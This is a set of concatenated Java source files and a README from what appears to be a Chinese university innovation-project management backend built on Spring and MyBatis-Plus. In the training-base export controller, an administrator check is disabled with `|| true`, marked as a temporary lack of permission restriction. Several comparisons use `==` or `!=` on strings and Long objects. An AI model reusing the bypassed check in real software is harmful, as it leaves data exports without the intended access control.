public class InnovateSubjectServiceImpl extends ServiceImpl<InnovateSubjectDao, InnovateSubjectEntity> implements InnovateSubjectService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
// Page<InnovateSubjectEntity> page = this.selectPage(
// new Query<InnovateSubjectEntity>(params).getPage(),
// new EntityWrapper<InnovateSubjectEntity>()
// );
// return new PageUtils(page);
String key = params.get("key").toString();
EntityWrapper<InnovateSubjectEntity> ew = new EntityWrapper<>();
if (key!=null&&key!="")ew.like("subject_name",key, SqlLike.DEFAULT);
Page<InnovateSubjectEntity> page = this.selectPage(
new Query<InnovateSubjectEntity>(params).getPage(),
ew
);
return new PageUtils(page);
}
@Override
public List<InnovateSubjectEntity> queryAll() {
return baseMapper.queryAll();
}
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.ProjectApplyUpdateEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
public interface ProjectApplyUpdateService extends IService<ProjectApplyUpdateEntity> {
PageUtils queryPage(Map<String, Object> params);
void applyUpdate(Map<String, Object> params);
List<ProjectApplyUpdateEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
@Transactional
void update(ProjectApplyUpdateEntity projectApplyUpdateEntity);
}
<file_sep>package com.innovate.modules.training.service.impl;
import org.springframework.stereotype.Service;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.training.dao.InnovateTrainingAchieveTypeDao;
import com.innovate.modules.training.entity.InnovateTrainingAchieveTypeEntity;
import com.innovate.modules.training.service.InnovateTrainingAchieveTypeService;
@Service("innovateTrainingAchieveTypeService")
public class InnovateTrainingAchieveTypeServiceImpl extends ServiceImpl<InnovateTrainingAchieveTypeDao, InnovateTrainingAchieveTypeEntity> implements InnovateTrainingAchieveTypeService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<InnovateTrainingAchieveTypeEntity> entityWrapper = new EntityWrapper<>();
if (params.get("trainingAchieveType") != null) entityWrapper.like("training_achieve_type", params.get("trainingAchieveType").toString());
// 按时间倒序
entityWrapper.orderBy("material_type_id", false);
Page<InnovateTrainingAchieveTypeEntity> page = this.selectPage(
new Query<InnovateTrainingAchieveTypeEntity>(params).getPage(),
entityWrapper
);
return new PageUtils(page);
}
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
public interface InnovateInstituteService extends IService<InnovateInstituteEntity> {
PageUtils queryPage(Map<String, Object> params);
List<InnovateInstituteEntity> queryAllInstitute();
@Transactional
void total(Map<String, Object> params);
InnovateInstituteEntity queryByInstituteId(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.innovate.modules.innovate.config.ConfigApi;
import com.innovate.modules.match.entity.MatchInfoEntity;
import com.innovate.modules.match.service.MatchApplyService;
import com.innovate.modules.match.service.MatchInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/24
**/
@Service
public class MatchApplyServiceImpl implements MatchApplyService {
@Autowired
private MatchInfoService matchInfoService;
@Override
public void apply(Map<String, Object> params) {
Long matchId = Long.parseLong(params.get("matchId").toString());
Long roleId = Long.parseLong(params.get("roleId").toString());
Long applyStatus = null;
String apply = params.get("apply").toString();
MatchInfoEntity matchInfoEntity = matchInfoService.selectById(matchId);
switch (apply) {
case "project_match_apply_status": {
// 项目中的流程值
applyStatus = matchInfoEntity.getProjectMatchApplyStatus();
// 判断当前项目审批流程保存的值是否等于角色id,相等便通过
if (roleId == ConfigApi.matchListName[applyStatus.intValue()]) {
matchInfoEntity.setProjectMatchApplyStatus(++applyStatus);
}
break;
}
}
matchInfoService.updateById(matchInfoEntity);
}
}
<file_sep>package com.innovate.modules.enterprise.dao;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseProjectEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* 企业项目表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@Mapper
public interface InnovateEnterpriseProjectDao extends BaseMapper<InnovateEnterpriseProjectEntity> {
void delList(List<Long> list);
}
<file_sep>package com.innovate.modules.training.controller;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.sys.entity.SysUserEntity;
import com.innovate.modules.training.dao.InnovateTrainingBaseInfoDao;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.training.entity.InnovateTrainingBaseInfoEntity;
import com.innovate.modules.training.service.InnovateTrainingBaseInfoService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
import javax.validation.constraints.NotBlank;
/**
* 实训基地信息
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
@RestController
@RequestMapping("training/innovatetrainingbaseinfo")
public class InnovateTrainingBaseInfoController {
@Autowired
private InnovateTrainingBaseInfoService innovateTrainingBaseInfoService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("training:innovatetrainingbaseinfo:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateTrainingBaseInfoService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 按条件查询所有
*/
@RequestMapping("/all")
@RequiresPermissions("training:innovatetrainingbaseinfo:list")
public R all(@RequestParam Map<String, Object> params){
EntityWrapper<InnovateTrainingBaseInfoEntity> entityEntityWrapper = new EntityWrapper<>();
if (params.get("instituteId") != null) entityEntityWrapper.eq("institute_id", params.get("instituteId"));
entityEntityWrapper.eq("is_del", 0);
List<InnovateTrainingBaseInfoEntity> data = innovateTrainingBaseInfoService.selectList(entityEntityWrapper);
return R.ok().put("data", data);
}
/**
* 信息
*/
@RequestMapping("/info/{trainingBaseId}")
@RequiresPermissions("training:innovatetrainingbaseinfo:info")
public R info(@PathVariable("trainingBaseId") Long trainingBaseId){
InnovateTrainingBaseInfoEntity innovateTrainingBaseInfo = innovateTrainingBaseInfoService.selectById(trainingBaseId);
return R.ok().put("innovateTrainingBaseInfo", innovateTrainingBaseInfo);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("training:innovatetrainingbaseinfo:save")
public R save(@RequestBody InnovateTrainingBaseInfoEntity innovateTrainingBaseInfo){
innovateTrainingBaseInfoService.insert(innovateTrainingBaseInfo);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("training:innovatetrainingbaseinfo:update")
public R update(@RequestBody InnovateTrainingBaseInfoEntity innovateTrainingBaseInfo){
innovateTrainingBaseInfoService.updateById(innovateTrainingBaseInfo);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("training:innovatetrainingbaseinfo:delete")
public R delete(@RequestBody Long[] trainingBaseIds){
innovateTrainingBaseInfoService.deleteList(Arrays.asList(trainingBaseIds));
return R.ok();
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("training:innovatetrainingbaseinfo:list")
public void export(@RequestBody Map<String, Object> params, HttpServletResponse response){
List<InnovateTrainingBaseInfoEntity> trainBaseInfoList = new ArrayList<>();
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("实训基地信息", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateTrainingBaseInfoEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "实训基地信息").build();
trainBaseInfoList = innovateTrainingBaseInfoService.queryListByDeptAndIds(params);
excelWriter.write(trainBaseInfoList,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
if (excelWriter != null) {
excelWriter.finish();
}
}
}
}
<file_sep>package com.innovate.modules.profess.service.impl;
import com.innovate.common.utils.R;
import com.innovate.modules.points.entity.InnovateStudentPointsApplyEntity;
import com.innovate.modules.points.entity.InnovateStudentPointsAttachEntity;
import com.innovate.modules.points.entity.PointsApplyModel;
import com.innovate.modules.profess.entity.InnovateProfessAttachEntity;
import com.innovate.modules.profess.entity.ProfessModel;
import com.innovate.modules.profess.service.InnovateProfessAttachService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.profess.dao.InnovateProfessAchieveDao;
import com.innovate.modules.profess.entity.InnovateProfessAchieveEntity;
import com.innovate.modules.profess.service.InnovateProfessAchieveService;
@Service("innovateProfessAchieveService")
public class InnovateProfessAchieveServiceImpl extends ServiceImpl<InnovateProfessAchieveDao, InnovateProfessAchieveEntity> implements InnovateProfessAchieveService {
@Autowired
InnovateProfessAttachService professAttachService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<InnovateProfessAchieveEntity> entityWrapper = new EntityWrapper<>();
if (params.get("professAchieDirector") != null) entityWrapper.like("profess_achie_director", params.get("professAchieDirector").toString());
if (params.get("isDel") != null) entityWrapper.eq("is_del", Integer.parseInt(params.get("isDel").toString()));
if (params.get("instituteId") != null) entityWrapper.eq("institute_id", Integer.parseInt(params.get("instituteId").toString()));
Page<InnovateProfessAchieveEntity> page = this.selectPage(
new Query<InnovateProfessAchieveEntity>(params).getPage(),
entityWrapper
);
return new PageUtils(page);
}
@Override
public boolean insertModel(ProfessModel professModel) {
InnovateProfessAchieveEntity professAchieveEntity = professModel.getProfessAchieveEntity();
int i = baseMapper.insertE(professAchieveEntity);
for (InnovateProfessAttachEntity p : professModel.getAttachEntityList()) {
p.setAttachTime(new Date());
p.setProfessAchieveId(professAchieveEntity.getProfessAchieveId());
professAttachService.insert(p);
}
if (i == 1)
return true;
return false;
}
@Override
public boolean update(ProfessModel professModel) {
baseMapper.updateById(professModel.getProfessAchieveEntity());
if (professModel.getDelAttachEntityList() != null)
for (InnovateProfessAttachEntity att : professModel.getDelAttachEntityList()) {
if (att.getAttachId() != null) {// 删除附件
att.setIsDel(1);
professAttachService.updateById(att);
}
}
if (professModel.getAttachEntityList() != null) // 修改或添加附件
for (InnovateProfessAttachEntity a : professModel.getAttachEntityList()) {
a.setAttachTime(new Date());
a.setProfessAchieveId(professModel.getProfessAchieveEntity().getProfessAchieveId());
professAttachService.insertOrUpdate(a);
}
return false;
}
/**
*
* @param professAchieveIds
* @return 导出
*/
@Override
public List<InnovateProfessAchieveEntity> queryListByIds(Long[] professAchieveIds) {
Map<String, Object> map = new HashMap<>();
if (professAchieveIds.length > 0) {
map.put("professAchieveIds", professAchieveIds);
} else {
map.put("professAchieveIds", null);
}
return baseMapper.selectProfessAchieveIds(map);
}
@Override
public int deleteList(List<Long> asList) {
return baseMapper.deleteList(asList);
}
@Override
public R info(Long professAchieveId) {
InnovateProfessAchieveEntity professAchieveEntity = baseMapper.selectById(professAchieveId);
// 获取申请附件信息
Map<String, Object> map = new HashMap<String, Object>();
map.put("profess_achieve_id", professAchieveId);
map.put("is_del", 0);
List<InnovateProfessAttachEntity> professAttachEntities = professAttachService.selectByMap(map);
return R.ok().put("professAchieveEntity", professAchieveEntity)
.put("professAttachEntities", professAttachEntities);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Mapper
public interface InnovateInstituteDao extends BaseMapper<InnovateInstituteEntity> {
InnovateInstituteEntity queryByInstituteId(Map<String, Object> params);
List<InnovateInstituteEntity> queryAllInstitute();
}
<file_sep>package com.innovate.modules.training.dao;
import com.innovate.modules.training.entity.InnovateTrainingBaseAchieveEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* 实训基地成果表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
@Mapper
public interface InnovateTrainingBaseAchieveDao extends BaseMapper<InnovateTrainingBaseAchieveEntity> {
int insertE(InnovateTrainingBaseAchieveEntity trainingBaseAchieveEntity);
int deleteList(List<Long> asList);
List<InnovateTrainingBaseAchieveEntity> selectMaterialYear(Map<String, Object> map);
}
<file_sep>package com.innovate.modules.points.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.points.entity.InnovateStudentActivityEntity;
import java.util.Map;
/**
*
*
* @author Mikey
* @email <EMAIL>
* @date 2020-11-10 13:11:17
*/
public interface InnovateStudentActivityService extends IService<InnovateStudentActivityEntity> {
PageUtils queryPage(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.match.dao.MatchAwardDao;
import com.innovate.modules.match.entity.MatchAwardEntity;
import com.innovate.modules.match.service.MatchAwardService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:23
* @Version 1.0
*/
@Service
public class MatchAwardServiceImpl extends ServiceImpl<MatchAwardDao, MatchAwardEntity> implements MatchAwardService {
@Override
public List<MatchAwardEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public Long queryAwardNum(Map<String, Object> params) {
return baseMapper.queryAwardNum(params);
}
@Override
public Double queryAwardMoney(Map<String, Object> params) {
return baseMapper.queryAwardMoney(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectStaffInfoEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:23
* @Version 1.0
*/
@Mapper
public interface ProjectStaffInfoDao extends BaseMapper<ProjectStaffInfoEntity> {
List<ProjectStaffInfoEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.google.gson.Gson;
import com.innovate.modules.innovate.dao.ProjectMonthlyReportTotalDao;
import com.innovate.modules.innovate.entity.ProjectMonthlyReportTotalEntity;
import com.innovate.modules.innovate.service.ProjectMonthlyReportService;
import com.innovate.modules.innovate.service.ProjectMonthlyReportTotalService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.sql.Timestamp;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.time.Instant;
import java.util.Date;
import java.util.Map;
/**
* @author:tz
* @create:2019-01-08
* @description:项目月报表统计
**/
@Service
public class ProjectMonthlyReportTotalServiceImpl extends ServiceImpl<ProjectMonthlyReportTotalDao, ProjectMonthlyReportTotalEntity> implements ProjectMonthlyReportTotalService {
@Autowired
private ProjectMonthlyReportTotalService projectMonthlyReportTotalService;
@Autowired
private ProjectMonthlyReportService projectMonthlyReportService;
@Override
public ProjectMonthlyReportTotalEntity total(Map<String, Object> params) {
Long id = Long.parseLong((String)params.get("projectId"));
Long longTotalStartTime = Long.parseLong((String)params.get("totalStartTime"));
Long longTotalEndTime = Long.parseLong((String)params.get("totalEndTime"));
SimpleDateFormat format = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" );
String stringTotalStartTime = format.format(longTotalStartTime);
String stringTotalEndTime = format.format(longTotalEndTime);
Date totalStartTime = null;
Date totalEndTime = null;
try {
totalStartTime = format.parse(stringTotalStartTime);
totalEndTime = format.parse(stringTotalEndTime);
} catch (ParseException e) {
e.printStackTrace();
}
params.put("totalStartTime", totalStartTime);
params.put("totalEndTime", totalEndTime);
Double totalInvestCapital = projectMonthlyReportService.totalInvest(params);
Double totalSales = projectMonthlyReportService.totalSales(params);
Double totalProfits = projectMonthlyReportService.totalProfits(params);
Double totalTax = projectMonthlyReportService.totalTax(params);
ProjectMonthlyReportTotalEntity projectMonthlyReportTotalEntity = new ProjectMonthlyReportTotalEntity();
projectMonthlyReportTotalEntity.setProjectId(id);
//累计投入资金数额
projectMonthlyReportTotalEntity.setTotalInvestCapital(totalInvestCapital);
//累计营业额
projectMonthlyReportTotalEntity.setTotalSales(totalSales);
//累计利润情况
projectMonthlyReportTotalEntity.setTotalProfits(totalProfits);
//累计上缴税金情况
projectMonthlyReportTotalEntity.setTotalTax(totalTax);
projectMonthlyReportTotalEntity.setTotalStartTime(totalStartTime);
projectMonthlyReportTotalEntity.setTotalEndTime(totalEndTime);
System.out.println(new Gson().toJson(projectMonthlyReportTotalEntity));
// projectMonthlyReportTotalService.insertOrUpdate(projectMonthlyReportTotalEntity);
return projectMonthlyReportTotalEntity;
}
}
<file_sep>package com.innovate.modules.declare.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.declare.entity.DeclareTeacherEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:18
* @Version 1.0
*/
public interface DeclareTeacherService extends IService<DeclareTeacherEntity> {
List<DeclareTeacherEntity> queryAll(Map<String, Object> params);
//统计参与者个数
Long queryTeacherNum(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.match.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-08
* @description:项目指导老师
**/
@Data
@TableName("innovate_match_teacher")
public class MatchTeacherEntity implements Serializable {
@TableId
private Long matchTeacherId;
private Long matchId;
private Long userId;
private Long isDel;
}
<file_sep>package com.innovate.modules.declare.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-08
* @description:项目指导老师
**/
@Data
@TableName("innovate_declare_teacher")
public class DeclareTeacherEntity implements Serializable {
@TableId
private Long declareTeacherId;
private Long declareId;
private Long userId;
private String position;
private Long isDel;
}
<file_sep>package com.innovate.modules.enterprise.service.impl;
import com.innovate.modules.enterprise.utility.ExportShiro;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.enterprise.dao.InnovateEnterpriseAchieveDao;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAchieveEntity;
import com.innovate.modules.enterprise.service.InnovateEnterpriseAchieveService;
@Service("innovateEnterpriseAchieveService")
public class InnovateEnterpriseAchieveServiceImpl extends ServiceImpl<InnovateEnterpriseAchieveDao, InnovateEnterpriseAchieveEntity> implements InnovateEnterpriseAchieveService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
ExportShiro exportShiro = new ExportShiro<InnovateEnterpriseAchieveEntity>();
Page<InnovateEnterpriseAchieveEntity> page = this.selectPage(
new Query<InnovateEnterpriseAchieveEntity>(params).getPage(),
exportShiro.queryExport(params, new EntityWrapper<InnovateEnterpriseAchieveEntity>()));
return new PageUtils(page);
}
@Override
public void delList(List<Long> list) {
baseMapper.delList(list);
}
@Override
public List<InnovateEnterpriseAchieveEntity> queryListByIds(Map<String, Object> params) {
// return enterpAchieveIds.size()>0 ? this.selectBatchIds(enterpAchieveIds): this.selectList(null);
return baseMapper.queryListByIds(params);
}
@Override
public InnovateEnterpriseAchieveEntity selectListById(Long enterpAchieveId) {
return baseMapper.selectListById(enterpAchieveId);
}
}
<file_sep># innovate-admin-vue
#### 项目介绍
>innovate-admin-vue
#### 软件架构
>软件架构说明 :vue + element UI
#### 安装教程
1. 安装依赖:
> `npm install chromedriver --chromedriver_cdnurl=http://cdn.npm.taobao.org/dist/chromedriver`
> `npm install`
2. 开发运行:`npm run dev`
3. 构建编译:`npm run build`
3. 打包镜像:`docker build -t mikeyboom/innovate-admin-vue:v1.3.2 .`
4. 推送仓库:`docker push mikeyboom/innovate-admin-vue`
5. 拉取镜像:`docker pull mikeyboom/innovate-admin-vue:v1.3.2`
6. 部署镜像:`docker-componse -f docker-compose.yml -d`
>Linux平台前端项目vue无法热更新 在启动时请使用 sudo npm run dev
#### 持续集成平台
>Travis ci
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-08
* @description:基地教师
**/
@Data
@TableName("innovate_base_teacher_info")
public class BaseTeacherInfoEntity implements Serializable {
@TableId
private Long teacherId;
private Long baseId;
private String teacherName;
private Long teacherSex;
private String teacherUnit;
private String teacherJob;
private String teacherPhone;
private Long teacherInstinct;
private Long teacherWorkStatus;
}
<file_sep>package com.innovate.modules.enterprise.entity;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.alibaba.excel.annotation.ExcelProperty;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
/**
* 企业项目表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
@Data
@TableName("innovate_enterprise_project")
public class InnovateEnterpriseProjectEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@ExcelIgnore
@TableId
private Long enterpProjId;
/**
* 企业 id
*/
@ExcelIgnore
private Long enterpriseId;
/**
* 企业名称
*/
@ExcelProperty(value = "企业名称")
private String enterpriseName;
/**
* 项目名称
*/
@ExcelProperty(value = "项目名称")
private String projectName;
/**
* 项目开始时间
*/
@ExcelProperty(value = "项目开始时间")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd")
@DateTimeFormat("yyyy-MM-dd")
private Date projStartTime;
/**
* 截止时间
*/
@ExcelProperty(value = "截止时间")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd")
@DateTimeFormat("yyyy-MM-dd")
private Date projStopTime;
/**
* 项目年度
*/
@ExcelProperty(value = "项目年度")
private String projectYear;
/**
* 项目负责人
*/
@ExcelProperty(value = "项目负责人")
private String projectDirector;
/**
* 用户id
*/
@ExcelIgnore
private Long projectUserId;
/**
* 审核状态
*/
@ExcelIgnore
private String applyStatus;
//备注
@ExcelIgnore
private String remark;
/**
* 是否删除
*/
@ExcelIgnore
private Integer isDel;
//二级学院
@ExcelIgnore
private Long instituteId;
}
<file_sep>package com.innovate.modules.points.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
* 学生积分申请附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@Data
@TableName("innovate_student_points_attach")
public class InnovateStudentPointsAttachEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
private Long attachId;
/**
* 积分申请id
*/
private Long pointsApplyId;
/**
* 附件名称
*/
private String attachName;
/**
* 附件路径
*/
private String attachPath;
/**
* 上传时间
*/
private Date attachTime;
/**
* 是否删除
*/
private Integer isDel;
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.UserPersonInfoEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:21
* @Version 1.0
*/
@Mapper
public interface UserPersonInfoDao extends BaseMapper<UserPersonInfoEntity> {
List<UserPersonInfoEntity> queryAllPersonInfo(Map<String, Object> params);
Long deleteByProjectId(Long projectId);
UserPersonInfoEntity queryByUserId(Long userId);
List<UserPersonInfoEntity> queryByUserInstituteIds(Long instituteId);
/**
* 用户id 查学生id
* @param userId
* @return
*/
Long queryUserPerIdByUserId(Long userId);
}
<file_sep>package com.innovate.modules.training.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.training.entity.InnovateTrainingBaseInfoEntity;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* 实训基地信息
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
public interface InnovateTrainingBaseInfoService extends IService<InnovateTrainingBaseInfoEntity> {
PageUtils queryPage(Map<String, Object> params);
List<InnovateTrainingBaseInfoEntity> queryListByDeptAndIds(Map<String, Object> params);
/**
* 删除
* @param asList
* @return
*/
int deleteList(List<Long> asList);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.google.gson.Gson;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.config.ConfigApi;
import com.innovate.modules.innovate.entity.ProjectInfoEntity;
import com.innovate.modules.innovate.service.ProjectApplyService;
import com.innovate.modules.innovate.service.ProjectInfoService;
import com.innovate.modules.sys.entity.SysRoleEntity;
import com.innovate.modules.sys.service.SysRoleService;
import com.innovate.modules.sys.service.SysUserRoleService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/24
**/
@Service
public class ProjectApplyServiceImpl implements ProjectApplyService {
@Autowired
private ProjectInfoService projectInfoService;
@Override
public void apply(Map<String, Object> params) {
System.out.println(new Gson().toJson(params));
Long projectId = Long.parseLong(params.get("projectId").toString());
Long roleId = Long.parseLong(params.get("roleId").toString());
Long applyStatus = null;
String apply = params.get("apply").toString();
ProjectInfoEntity projectInfoEntity = projectInfoService.selectById(projectId);
switch (apply) {
case "project_audit_apply_status": {
// 项目中的流程值
applyStatus = projectInfoEntity.getProjectAuditApplyStatus();
// 判断当前项目审批流程保存的值是否等于角色id,相等便通过
if (roleId == ConfigApi.auditListName[applyStatus.intValue()]) {
projectInfoEntity.setProjectAuditApplyStatus(++applyStatus);
}
break;
}
case "project_base_apply_status": {
// 项目中的流程值
applyStatus = projectInfoEntity.getProjectBaseApplyStatus();
// 判断当前项目审批流程保存的值是否等于角色id,相等便通过
if (roleId == ConfigApi.baseListName[applyStatus.intValue()]) {
projectInfoEntity.setProjectBaseApplyStatus(++applyStatus);
}
break;
}
case "project_match_apply_status": {
// 项目中的流程值
applyStatus = projectInfoEntity.getProjectMatchApplyStatus();
// 判断当前项目审批流程保存的值是否等于角色id,相等便通过
if (roleId == ConfigApi.matchListName[applyStatus.intValue()]) {
projectInfoEntity.setProjectMatchApplyStatus(++applyStatus);
}
break;
}
case "project_finish_apply_status": {
// 项目中的流程值
applyStatus = projectInfoEntity.getProjectFinishApplyStatus();
// 判断当前项目审批流程保存的值是否等于角色id,相等便通过
if (roleId == ConfigApi.finishListName[applyStatus.intValue()]) {
projectInfoEntity.setProjectFinishApplyStatus(++applyStatus);
}
break;
}
}
projectInfoService.updateById(projectInfoEntity);
}
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.BaseTeacherInfoEntity;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:18
* @Version 1.0
*/
public interface BaseTeacherInfoService extends IService<BaseTeacherInfoEntity> {
PageUtils queryPage(Map<String, Object> params);
/**
* 统计教师人数
* 参数:任职情况:1-专职,2-兼职
*/
Long queryAllTeacher(Long baseId);
Long queryTypeTeacher(Long baseId, Long status);
}
<file_sep>package com.innovate.modules.training.entity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
@Data
public class InnovateTrainingBaseAttachModel implements Serializable {
private InnovateTrainingBaseAchieveEntity trainingBaseAchieveEntity;
private List<InnovateTrainingBaseAttachEntity> trainingBaseAttachList;
